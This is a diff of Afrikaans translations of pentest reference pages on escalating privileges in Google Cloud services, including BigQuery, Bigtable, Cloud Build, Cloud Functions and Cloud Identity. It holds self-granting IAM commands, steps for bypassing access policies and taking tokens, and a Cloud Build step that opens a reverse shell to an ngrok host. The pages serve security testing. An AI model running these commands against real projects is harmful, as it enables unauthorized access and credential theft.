||||
<summary>Update BigQuery dataset ACLs</summary>
|
||||
```bash
|
||||
# Download current permissions, reqires bigquery.datasets.get
|
||||
bq show --format=prettyjson <proj>:<dataset> > acl.json
|
||||
@@ -57,9 +80,14 @@ bq update --source acl.json <proj>:<dataset>
|
||||
## Read it with
|
||||
bq head $PROJECT_ID:<dataset>.<table>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `bigquery.tables.setIamPolicy`
|
||||
|
||||
'n Aanvaller kan hierdie voorreg misbruik om **vir homself verdere toestemmings** oor 'n BigQuery-tabel te gee:
|
||||
'n aanvaller kan hierdie voorreg misbruik om **homself verdere toestemmings** op 'n BigQuery-tabel te gee:
|
||||
|
||||
<details>
|
||||
<summary>Stel IAM-beleid op BigQuery-tabel</summary>
|
||||
```bash
|
||||
# For this you also need bigquery.tables.setIamPolicy
|
||||
bq add-iam-policy-binding \
|
||||
@@ -69,14 +97,24 @@ bq add-iam-policy-binding \
|
||||
|
||||
# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy
|
||||
```
|
||||
</details>
|
||||
|
||||
### `bigquery.rowAccessPolicies.update`, `bigquery.rowAccessPolicies.setIamPolicy`, `bigquery.tables.getData`, `bigquery.jobs.create`
|
||||
|
||||
Volgens die dokumentasie is dit met die genoemde toestemmings moontlik om 'n **rybeleid op te dateer.**\
|
||||
E however, **met die cli `bq`** benodig jy nog 'n paar: **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**.
|
||||
Volgens die docs is dit met die genoemde toestemmings moontlik om 'n ry-toegangsbeleid te **bywerk.**\
|
||||
Egter, **wanneer jy die cli `bq` gebruik** benodig jy nog 'n paar toestemmings: **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**.
|
||||
|
||||
<details>
|
||||
<summary>Skep of vervang 'n ry-toegangsbeleid</summary>
|
||||
```bash
|
||||
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used
|
||||
```
|
||||
Dit is moontlik om die filter-ID in die uitvoer van die rybeleide-opsomming te vind. Voorbeeld:
|
||||
</details>
|
||||
|
||||
Dit is moontlik om die filter-ID in die uitvoer van die opgelysing van rytoegangsbeleide te vind. Voorbeeld:
|
||||
|
||||
<details>
|
||||
<summary>Lys rytoegangsbeleide</summary>
|
||||
```bash
|
||||
bq ls --row_access_policies <proj>:<dataset>.<table>
|
||||
|
||||
@@ -84,7 +122,12 @@ Id Filter Predicate Grantees Creation Time Las
|
||||
------------- ------------------ ----------------------------- ----------------- --------------------
|
||||
apac_filter term = "Cfba" user:asd@hacktricks.xyz 21 Jan 23:32:09 21 Jan 23:32:09
|
||||
```
|
||||
</details>
|
||||
|
||||
As jy **`bigquery.rowAccessPolicies.delete`** in plaas van `bigquery.rowAccessPolicies.update` het, kan jy ook net die beleid verwyder:
|
||||
|
||||
<details>
|
||||
<summary>Verwyder row access policies</summary>
|
||||
```bash
|
||||
# Remove one
|
||||
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'
|
||||
@@ -92,7 +135,9 @@ bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<
|
||||
# Remove all (if it's the last row policy you need to use this
|
||||
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> 'n Ander potensiële opsie om rytoegangbeleide te omseil, sou wees om net die waarde van die beperkte data te verander. As jy net kan sien wanneer `term` `Cfba` is, verander dan al die rekords van die tabel om `term = "Cfba"` te hê. Dit word egter deur bigquery verhoed.
|
||||
> Nog 'n potensiële opsie om row access policies te omseil sou wees om bloot die waarde van die beperkte data te verander. As jy slegs kan sien wanneer `term` `Cfba` is, verander net alle rekords van die tabel sodat `term = "Cfba"`. Dit word egter deur bigquery verhoed.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+37
-14
@@ -14,37 +14,48 @@ Vir meer inligting oor Bigtable, sien:
|
||||
|
||||
**Permissies:** `bigtable.instances.setIamPolicy` (en gewoonlik `bigtable.instances.getIamPolicy` om die huidige bindings te lees).
|
||||
|
||||
As jy die instansie IAM-beleid besit, kan jy jouself **`roles/bigtable.admin`** (of enige pasgemaakte rol) toeken wat na elke cluster, tabel, rugsteun en gemagtigde aansig in die instansie versprei.
|
||||
Wanneer jy die instansie se IAM-beleid beheer, kan jy jouself **`roles/bigtable.admin`** (of enige pasgemaakte rol) toeken — dit word toegepas op elke cluster, tabel, rugsteun en geautoriseerde view in die instansie.
|
||||
|
||||
<details><summary>Ken jouself die bigtable.admin-rol op die instansie toe</summary>
|
||||
```bash
|
||||
gcloud bigtable instances add-iam-policy-binding <instance-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
> [!TIP]
|
||||
> As jy nie die bestaande bindinge kan lys nie, stel 'n vars beleidsdokument op en stuur dit met `gcloud bigtable instances set-iam-policy` solank jy jouself daarop hou.
|
||||
</details>
|
||||
|
||||
Nadat jy hierdie permissie het, kyk in die [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) vir meer maniere om Bigtable-permissies te misbruik.
|
||||
> [!TIP]
|
||||
> As jy nie die bestaande bindinge kan lys nie, skep 'n nuwe beleidsdokument en push dit met `gcloud bigtable instances set-iam-policy` solank jy jouself daarin hou.
|
||||
|
||||
Sien ook die [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) vir meer tegnieke om Bigtable-permissies te misbruik.
|
||||
|
||||
### `bigtable.tables.setIamPolicy`
|
||||
|
||||
**Permissies:** `bigtable.tables.setIamPolicy` (opsioneel `bigtable.tables.getIamPolicy`).
|
||||
|
||||
Instansiebeleid kan streng beperk word terwyl individuele tabelle gedelegeer word. As jy die tabel IAM kan wysig, kan jy jouself **bevorder tot eienaar van die teiken-datastel** sonder om ander werkladinge te raak.
|
||||
Instansiebeleide kan toegesluit wees terwyl individuele tabelle gedelegeer word. As jy die tabel se IAM kan wysig, kan jy jouself **bevorder tot eienaar van die teiken-datastel** sonder om ander workloads te raak.
|
||||
|
||||
<details><summary>Grant yourself bigtable.admin role on table</summary>
|
||||
```bash
|
||||
gcloud bigtable tables add-iam-policy-binding <table-id> \
|
||||
--instance=<instance-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
Sodra jy hierdie permissie het, kyk in die [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) vir meer maniere om Bigtable-toestemmings te misbruik.
|
||||
</details>
|
||||
|
||||
Nadat jy hierdie permissie het, kyk na die [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) vir meer tegnieke om Bigtable-permissies te misbruik.
|
||||
|
||||
|
||||
### `bigtable.backups.setIamPolicy`
|
||||
|
||||
**Permissies:** `bigtable.backups.setIamPolicy`
|
||||
|
||||
Backups kan herstel word na **enige instansie in enige projek** wat jy beheer. Gee eers jou identiteit toegang tot die backup, en herstel dit dan in 'n sandbox waar jy Admin/Owner-rolle het.
|
||||
Rugsteunkopieë kan herstel word na **enige instansie in enige projek** wat jy beheer. Gee eers jou identiteit toegang tot die rugsteun, en herstel dit dan in 'n sandbox waar jy Admin/Owner-rolle het.
|
||||
|
||||
As jy die permissie `bigtable.backups.setIamPolicy` het, kan jy jouself die permissie `bigtable.backups.restore` toeken om ou backups te herstel en te probeer toegang te kry tot sensitiewe inligting.
|
||||
As jy die permissie `bigtable.backups.setIamPolicy` het, kan jy jouself die permissie `bigtable.backups.restore` gee om ou rugsteunkopieë te herstel en te probeer toegang kry tot sensitiewe inligting.
|
||||
|
||||
<details><summary>Neem eienaarskap van die rugsteun-snapshot</summary>
|
||||
```bash
|
||||
# Take ownership of the snapshot
|
||||
gcloud bigtable backups add-iam-policy-binding <backup-id> \
|
||||
@@ -52,14 +63,18 @@ gcloud bigtable backups add-iam-policy-binding <backup-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
</details>
|
||||
|
||||
Nadat jy hierdie toestemming het, kyk in die [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) om te sien hoe om 'n rugsteun te herstel.
|
||||
|
||||
|
||||
### Opdateer authorized view
|
||||
### Werk authorized view by
|
||||
|
||||
**Permissies:** `bigtable.authorizedViews.update`
|
||||
**Permissions:** `bigtable.authorizedViews.update`
|
||||
|
||||
Authorized Views is veronderstel om rye/kolomme te redigeer. Wysig of verwyder dit en jy verwyder die fynkorrelige beskerming waarop verdedigers staatmaak.
|
||||
Authorized Views is veronderstel om rye/kolomme te redigeer. Om dit te wysig of te verwyder **verwyder die fynkorrelige beheermeganismes** waarop verdedigers staatmaak.
|
||||
|
||||
<details><summary>Werk authorized view by om toegang uit te brei</summary>
|
||||
```bash
|
||||
# Broaden the subset by uploading a permissive definition
|
||||
gcloud bigtable authorized-views update <view-id> \
|
||||
@@ -84,13 +99,17 @@ EOF
|
||||
gcloud bigtable authorized-views describe <view-id> \
|
||||
--instance=<instance-id> --table=<table-id>
|
||||
```
|
||||
Raadpleeg die [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) om te sien hoe om uit 'n Authorized View te lees.
|
||||
</details>
|
||||
|
||||
Nadat jy hierdie permissie nagegaan het in die [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) om te sien hoe om vanaf Authorized View te lees.
|
||||
|
||||
### `bigtable.authorizedViews.setIamPolicy`
|
||||
|
||||
**Permissies:** `bigtable.authorizedViews.setIamPolicy`.
|
||||
|
||||
’n Aanvaller met hierdie permissie kan hulself toegang gee tot ’n Authorized View, wat sensitiewe data kan bevat waartoe hulle andersins nie toegang sou hê nie.
|
||||
'n aanvaller met hierdie permissie kan hulself toegang verleen tot 'n Authorized View, wat sensitiewe data kan bevat waartoe hulle andersins nie toegang sou hê nie.
|
||||
|
||||
<details><summary>Gee jouself toegang tot 'n Authorized View</summary>
|
||||
```bash
|
||||
# Give more permissions over an existing view
|
||||
gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
|
||||
@@ -98,6 +117,10 @@ gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.viewer'
|
||||
```
|
||||
Na hierdie toestemmingskontrole in die [**Bigtable Post Exploitation afdeling**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) om te sien hoe om vanaf 'n gemagtigde uitsig te lees.
|
||||
</details>
|
||||
|
||||
Nadat jy hierdie bevoegdheidskontrole in die [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) uitgevoer het om te sien hoe om vanaf 'n gemagtigde view te lees.
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+6
-2
@@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Skep OAuth Handelsmerk en Kliënt
|
||||
### Skep OAuth brand en kliënt
|
||||
|
||||
[**Volgens die dokumentasie**](https://cloud.google.com/iap/docs/programmatic-oauth-clients), is dit die vereiste toestemmings:
|
||||
[**According to the docs**](https://cloud.google.com/iap/docs/programmatic-oauth-clients), dit is die vereiste permissies:
|
||||
|
||||
- `clientauthconfig.brands.list`
|
||||
- `clientauthconfig.brands.create`
|
||||
@@ -14,6 +14,8 @@
|
||||
- `clientauthconfig.clients.getWithSecret`
|
||||
- `clientauthconfig.clients.delete`
|
||||
- `clientauthconfig.clients.update`
|
||||
|
||||
<details><summary>Skep OAuth brand en kliënt</summary>
|
||||
```bash
|
||||
# Create a brand
|
||||
gcloud iap oauth-brands list
|
||||
@@ -21,4 +23,6 @@ gcloud iap oauth-brands create --application_title=APPLICATION_TITLE --support_e
|
||||
# Create a client of the brand
|
||||
gcloud iap oauth-clients create projects/PROJECT_NUMBER/brands/BRAND-ID --display_name=NAME
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+30
-11
@@ -4,7 +4,7 @@
|
||||
|
||||
## cloudbuild
|
||||
|
||||
Vir meer inligting oor Cloud Build, kyk:
|
||||
Vir meer inligting oor Cloud Build kyk:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-build-enum.md
|
||||
@@ -12,12 +12,13 @@ Vir meer inligting oor Cloud Build, kyk:
|
||||
|
||||
### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Met hierdie toestemming kan jy **'n cloud build indien**. Die cloudbuild masjien sal in sy lêerstelsel **standaard 'n token van die cloudbuild Service Account** hê: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`. Jy kan egter **enige diensrekening binne die projek** in die cloudbuild konfigurasie aandui.\
|
||||
Daarom kan jy net die masjien laat uitvloe na jou bediener die token of **'n omgekeerde shell binne dit kry en jouself die token kry** (die lêer wat die token bevat, mag verander).
|
||||
Met hierdie toestemming kan jy **'n cloud build indien**. Die cloudbuild-masjien sal in sy lêerstelsel by **verstek 'n token van die cloudbuild Service Account** hê: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`. Jy kan egter **enige service account binne die projek aandui** in die cloudbuild-konfigurasie.\ Daarom kan jy die masjien eenvoudig laat exfiltrate na jou bediener die token, of **'n reverse shell daarin kry en die token vir jouself haal** (die lêer wat die token bevat, kan verander).
|
||||
|
||||
#### Direkte uitbuiting via gcloud CLI
|
||||
#### Direct exploitation via gcloud CLI
|
||||
|
||||
1- Skep `cloudbuild.yaml` en wysig met jou luisterdata
|
||||
1- Skep `cloudbuild.yaml` en wysig dit met jou listener data
|
||||
|
||||
<details><summary>Cloud Build YAML configuration for reverse shell</summary>
|
||||
```yaml
|
||||
steps:
|
||||
- name: bash
|
||||
@@ -27,19 +28,27 @@ bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
|
||||
options:
|
||||
logging: CLOUD_LOGGING_ONLY
|
||||
```
|
||||
2- Laai 'n eenvoudige bou op sonder bron, die yaml-lêer en spesifiseer die SA om op die bou te gebruik:
|
||||
</details>
|
||||
|
||||
2- Laai 'n eenvoudige build op sonder bron, die yaml-lêer en spesifiseer die SA wat by die build gebruik moet word:
|
||||
|
||||
<details><summary>Dien Cloud Build in met die gespesifiseerde service account</summary>
|
||||
```bash
|
||||
gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/<PROJECT>/serviceAccounts/<SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com
|
||||
```
|
||||
#### Gebruik van python gcloud biblioteek
|
||||
Jy kan die oorspronklike eksploitasie-skrip [**hier op GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) vind (maar die plek waar dit die token vandaan neem, het nie vir my gewerk nie). Daarom, kyk na 'n skrip om die [**skepping, eksploitasie en skoonmaak van 'n kwesbare omgewing hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) te outomatiseer en 'n python-skrip om 'n omgekeerde shell binne die cloudbuild masjien te kry en [**dit hier te steel**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (in die kode kan jy vind hoe om ander diensrekeninge te spesifiseer)**.**
|
||||
</details>
|
||||
|
||||
#### Gebruik python gcloud biblioteek
|
||||
Jy kan die oorspronklike exploit script [**hier op GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) vind (maar die plek waarvandaan dit die token neem het vir my nie gewerk nie). Gaan dus kyk na 'n script om die [**skepping, exploit en skoonmaak van 'n vuln-omgewing hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) te outomatiseer en 'n python script om 'n reverse shell binne die cloudbuild-masjien te kry en [**steel dit hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (in die kode kan jy vind hoe om ander service accounts te spesifiseer)**.**
|
||||
|
||||
Vir 'n meer diepgaande verduideliking, besoek [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)
|
||||
|
||||
|
||||
### `cloudbuild.repositories.accessReadToken`
|
||||
|
||||
Met hierdie toestemming kan die gebruiker die **lees toegangstoken** verkry wat gebruik word om toegang tot die repository te verkry:
|
||||
Met hierdie toestemming kan die gebruiker die **read access token** kry wat gebruik word om toegang tot die repository te verkry:
|
||||
|
||||
<details><summary>Kry read access token vir repository</summary>
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
@@ -47,9 +56,13 @@ curl -X POST \
|
||||
-d '{}' \
|
||||
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudbuild.repositories.accessReadWriteToken`
|
||||
|
||||
Met hierdie toestemming kan die gebruiker die **lees- en skryftoegangsteken** verkry wat gebruik word om toegang tot die repository te verkry:
|
||||
Met hierdie toestemming kan die gebruiker die **read and write access token** kry wat gebruik word om toegang tot die repository te verkry:
|
||||
|
||||
<details><summary>Kry die read and write access token vir die repository</summary>
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
@@ -57,12 +70,18 @@ curl -X POST \
|
||||
-d '{}' \
|
||||
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudbuild.connections.fetchLinkableRepositories`
|
||||
|
||||
Met hierdie toestemming kan jy **die repos verkry waartoe die verbinding toegang het:**
|
||||
Met hierdie toestemming kan jy **die repos kry waartoe die verbinding toegang het:**
|
||||
|
||||
<details><summary>Haal koppelbare repos</summary>
|
||||
```bash
|
||||
curl -X GET \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+28
-20
@@ -12,19 +12,21 @@ Meer inligting oor Cloud Functions:
|
||||
|
||||
### `cloudfunctions.functions.create` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
|
||||
|
||||
'n Aanvaller met hierdie voorregte kan **'n nuwe Cloud Function met arbitrêre (kwaadaardige) kode skep en dit aan 'n Service Account toewys**. Dan, lek die Service Account token uit die metadata om voorregte na dit te eskaleer.\
|
||||
Sommige voorregte om die funksie te aktiveer mag benodig word.
|
||||
'n aanvaller met hierdie privileges kan **'n nuwe Cloud Function skep met arbitrêre (malicious) kode en dit 'n Service Account toewys**. Daarna, leak die Service Account token vanaf die metadata om privileges daarop op te skaal.\
|
||||
Sommige privileges om die funksie te trigger mag vereis word.
|
||||
|
||||
Eksploitasieskripte vir hierdie metode kan [hier gevind word](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) en [hier](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) en die voorafgeboude .zip-lêer kan [hier gevind word](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
|
||||
Exploit scripts vir hierdie metode kan gevind word [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) en [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) en die voorafgeboude .zip lêer kan gevind word [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
|
||||
|
||||
### `cloudfunctions.functions.update` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
|
||||
|
||||
'n Aanvaller met hierdie voorregte kan **die kode van 'n Funksie wysig en selfs die diensrekening wat aangeheg is, wysig** met die doel om die token te eksterneer.
|
||||
'n aanvaller met hierdie privileges kan **die kode van 'n Function wysig en selfs die aangehegte service account wysig** met die doel om die token te exfiltrate.
|
||||
|
||||
> [!CAUTION]
|
||||
> Om cloud funksies te ontplooi, sal jy ook actAs-toestemmings oor die standaard rekenaar diensrekening of oor die diensrekening wat gebruik word om die beeld te bou, benodig.
|
||||
> Om Cloud Functions te deploy sal jy ook actAs-permissies nodig hê op die default compute service account of op die service account wat gebruik word om die image te bou.
|
||||
|
||||
Sommige ekstra voorregte soos `.call` toestemming vir weergawe 1 cloudfunctions of die rol `role/run.invoker` om die funksie te aktiveer mag benodig word.
|
||||
Sommige ekstra privileges soos die `.call` permission vir version 1 cloudfunctions of die rol `role/run.invoker` om die funksie te trigger mag vereis wees.
|
||||
|
||||
<details><summary>Werk Cloud Function by met kwaadwillige kode om die service account token te exfiltrate</summary>
|
||||
```bash
|
||||
# Create new code
|
||||
temp_dir=$(mktemp -d)
|
||||
@@ -54,14 +56,18 @@ gcloud functions deploy <cloudfunction-name> \
|
||||
# Get SA token calling the new function code
|
||||
gcloud functions call <cloudfunction-name>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> As jy die fout `Permission 'run.services.setIamPolicy' denied on resource...` kry, is dit omdat jy die `--allow-unauthenticated` param gebruik en jy nie genoeg toestemming daarvoor het nie.
|
||||
</details>
|
||||
|
||||
Die eksploitasie-skrip vir hierdie metode kan [hier](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py) gevind word.
|
||||
> [!CAUTION]
|
||||
> As jy die fout `Permission 'run.services.setIamPolicy' denied on resource...` kry, is dit omdat jy die `--allow-unauthenticated` param gebruik en jy nie genoeg permissies daarvoor het nie.
|
||||
|
||||
Die exploit script vir hierdie metode kan gevind word [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
|
||||
|
||||
### `cloudfunctions.functions.sourceCodeSet`
|
||||
|
||||
Met hierdie toestemming kan jy 'n **ondertekende URL kry om 'n lêer na 'n funksiebucket op te laai (maar die kode van die funksie sal nie verander word nie, jy moet dit steeds opdateer)**
|
||||
Met hierdie toestemming kan jy 'n **signed URL kry om 'n lêer na 'n function bucket op te laai (maar die kode van die function sal nie verander word nie, jy moet dit steeds bywerk)**
|
||||
|
||||
<details><summary>Generate signed upload URL for Cloud Function</summary>
|
||||
```bash
|
||||
# Generate the URL
|
||||
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
|
||||
@@ -69,36 +75,38 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}'
|
||||
```
|
||||
Nie regtig seker hoe nuttig net hierdie toestemming is vanuit 'n aanvaller se perspektief nie, maar dit is goed om te weet.
|
||||
</details>
|
||||
|
||||
Nie regtig seker hoe nuttig net hierdie toestemming vanuit 'n aanvaller's perspektief is nie, maar goed om te weet.
|
||||
|
||||
### `cloudfunctions.functions.setIamPolicy` , `iam.serviceAccounts.actAs`
|
||||
|
||||
Gee jouself enige van die vorige **`.update`** of **`.create`** voorregte om op te skaal.
|
||||
Gee jouself enige van die vorige **`.update`** of **`.create`** voorregte om te eskaleer.
|
||||
|
||||
### `cloudfunctions.functions.update`
|
||||
|
||||
Slegs met **`cloudfunctions`** toestemmings, sonder **`iam.serviceAccounts.actAs`** sal jy **nie in staat wees om die funksie op te dateer nie SO DIT IS NIE 'N GESKIKTE PRIVESC NIE.**
|
||||
As jy slegs **`cloudfunctions`**-toestemmings het, sonder **`iam.serviceAccounts.actAs`**, sal jy nie die funksie kan opdateer nie, SO THIS IS NOT A VALID PRIVESC.
|
||||
|
||||
### Lees- en Skryftoegang oor die emmer
|
||||
### Read & Write Access over the bucket
|
||||
|
||||
As jy lees- en skryftoegang oor die emmer het, kan jy veranderinge in die kode monitor en wanneer 'n **opdatering in die emmer plaasvind, kan jy die nuwe kode met jou eie kode opdateer** sodat die nuwe weergawe van die Cloud Function met die ingediende backdoored kode uitgevoer sal word.
|
||||
As jy lees- en skryftoegang tot die bucket het, kan jy veranderinge in die kode monitor en wanneer 'n **update in die bucket plaasvind, kan jy die nuwe kode vervang met jou eie kode** sodat die nuwe weergawe van die Cloud Function met die ingesmokkelde backdoored code uitgevoer sal word.
|
||||
|
||||
Jy kan meer oor die aanval nagaan in:
|
||||
Jy kan meer oor die aanval sien in:
|
||||
|
||||
{{#ref}}
|
||||
gcp-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Echter, jy kan dit nie gebruik om derdeparty Cloud Functions vooraf te kompromitteer nie, want as jy die emmer in jou rekening skep en dit openbare toestemmings gee sodat die eksterne projek daaroor kan skryf, kry jy die volgende fout:
|
||||
Jy kan dit egter nie gebruik om derdeparty Cloud Functions vooraf te kompromitteer nie, want as jy die bucket in jou rekening skep en dit publieke toestemmings gee sodat die eksterne projek daaroor kan skryf, kry jy die volgende fout:
|
||||
|
||||
<figure><img src="../../../images/image (1) (1) (1).png" alt="" width="304"><figcaption></figcaption></figure>
|
||||
|
||||
> [!CAUTION]
|
||||
> Ehowever, dit kan gebruik word vir DoS-aanvalle.
|
||||
> Daarteen, dit kan egter gebruik word vir DoS attacks.
|
||||
|
||||
### Lees- en Skryftoegang oor Artifact Registry
|
||||
### Read & Write Access over Artifact Registry
|
||||
|
||||
Wanneer 'n Cloud Function geskep word, word 'n nuwe docker beeld na die Artifact Registry van die projek gepush. Ek het probeer om die beeld met 'n nuwe een te wysig, en selfs die huidige beeld (en die `cache` beeld) te verwyder en niks het verander nie, die cloud function het voortgegaan om te werk. Daarom, miskien **kan dit moontlik wees om 'n Race Condition aanval te misbruik** soos met die emmer om die docker houer wat uitgevoer sal word te verander, maar **net die gestoor beeld te wysig is nie moontlik om die Cloud Function te kompromitteer nie.**
|
||||
Wanneer 'n Cloud Function geskep word, word 'n nuwe docker image na die Artifact Registry van die projek gepush. Ek het probeer om die image te vervang met 'n nuwe een, en selfs die huidige image (en die `cache` image) te verwyder, maar niks het verander nie — die Cloud Function het voortgegaan om te werk. Daarom mag dit moontlik wees om 'n Race Condition attack te misbruik, soos met die bucket, om die docker container wat uitgevoer sal word te verander, maar net die gestoor image aan te pas is nie genoeg om die Cloud Function te kompromitteer nie.
|
||||
|
||||
## Verwysings
|
||||
|
||||
|
||||
+12
-4
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloudidentity
|
||||
|
||||
Vir meer inligting oor die cloudidentity diens, kyk na hierdie bladsy:
|
||||
Vir meer inligting oor die cloudidentity-diens, kyk hierdie bladsy:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
@@ -12,14 +12,20 @@ Vir meer inligting oor die cloudidentity diens, kyk na hierdie bladsy:
|
||||
|
||||
### Voeg jouself by 'n groep
|
||||
|
||||
As jou gebruiker genoeg regte het of die groep verkeerd geconfigureer is, mag hy in staat wees om homself 'n lid van 'n nuwe groep te maak:
|
||||
Indien jou gebruiker genoeg toestemmings het of die groep verkeerd gekonfigureer is, kan hy homself dalk 'n lid van 'n nuwe groep maak:
|
||||
|
||||
<details><summary>Add yourself to a Cloud Identity group</summary>
|
||||
```bash
|
||||
gcloud identity groups memberships add --group-email <email> --member-email <email> [--roles OWNER]
|
||||
# If --roles isn't specified you will get MEMBER
|
||||
```
|
||||
### Wysig groep lidmaatskap
|
||||
</details>
|
||||
|
||||
As jou gebruiker genoeg regte het of die groep verkeerd geconfigureer is, mag hy in staat wees om homself die EIGENAAR van 'n groep waarvan hy 'n lid is, te maak:
|
||||
### Wysig groepslidmaatskap
|
||||
|
||||
As jou gebruiker genoeg permissies het of die groep verkeerd gekonfigureer is, kan hy homself dalk maak tot OWNER van 'n groep waarvan hy 'n lid is:
|
||||
|
||||
<details><summary>Wysig groepslidmaatskap om OWNER te word</summary>
|
||||
```bash
|
||||
# Check the current membership level
|
||||
gcloud identity groups memberships describe --member-email <email> --group-email <email>
|
||||
@@ -27,4 +33,6 @@ gcloud identity groups memberships describe --member-email <email> --group-email
|
||||
# If not OWNER try
|
||||
gcloud identity groups memberships modify-membership-roles --group-email <email> --member-email <email> --add-roles=OWNER
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+24
-8
@@ -12,33 +12,47 @@ Meer inligting in:
|
||||
|
||||
